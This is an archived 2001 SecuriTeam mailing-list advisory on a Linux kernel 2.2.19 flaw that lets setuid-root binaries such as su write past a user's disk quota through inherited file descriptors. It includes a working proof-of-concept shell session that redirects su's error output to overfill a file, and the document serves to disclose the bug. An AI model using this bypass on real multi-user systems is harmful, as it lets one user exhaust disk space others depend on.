

[UNIX] Bypassing Linux Kernel Quota Limits

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-10/0088.html>

From: support@securiteam.com

Date: 10/29/01

From: support@securiteam.com

To: list@securiteam.com

Subject: [UNIX] Bypassing Linux Kernel Quota Limits

Message-Id: <20011029161712.CDCFB138BF@mail.der-keiler.de>

Date: Mon, 29 Oct 2001 17:17:12 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

Bypassing Linux Kernel Quota Limits

SUMMARY

Almost any suid binary may be used to create large files overriding the quota limits. This would pose a problem on systems that use the quota method to limit the disk space available to end-users (on multi-user systems).

DETAILS

Vulnerable systems:

Linux kernel version 2.2.19

When setuid-root binary inherits file descriptors from user process it may write to it without respecting the quota restrictions. This is because suid process has CAP_SYS_RESOURCE effective capability enabled during writing to the file. Quota does not know anything about who opened file descriptor and checks current process privileges only. This is bug in kernel and not in those setuid-root binaries.

Example:

```
$ quota -u wp
```

Disk quotas for user wp (uid 500):

Securiteam: [UNIX] Bypassing Linux Kernel Quota Limits

```
Filesystem blocks quota limit files quota limit
/dev/hda6 4 10 10 1 10 10
```

```
$ perl -e 'print "a"x16384' >>myfile
/vol1: write failed, user disk limit reached.
```

```
$ ls -l myfile
-rw-rw-r-- 1 wp wp 4096 Oct 22 10:33 myfile
```

```
$ su $(perl -e 'print "a"x16384') 2>>myfile
# ^^ this is it: su writes error message to fd 2 without limits
```

```
$ ls -l myfile
-rw-rw-r-- 1 wp wp 20505 Oct 22 10:34 myfile
```

```
$ quota -u wp
Disk quotas for user wp (uid 500):
Filesystem blocks quota limit files quota limit
/dev/hda6 28* 10 10 2 10 10
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:wp@supermedia.pl>> Wojciech Purczynski.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[UNIX] JavaScript Insertion in phpBB and Ikonboard Bulletin Boards (IMG. CSS)"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)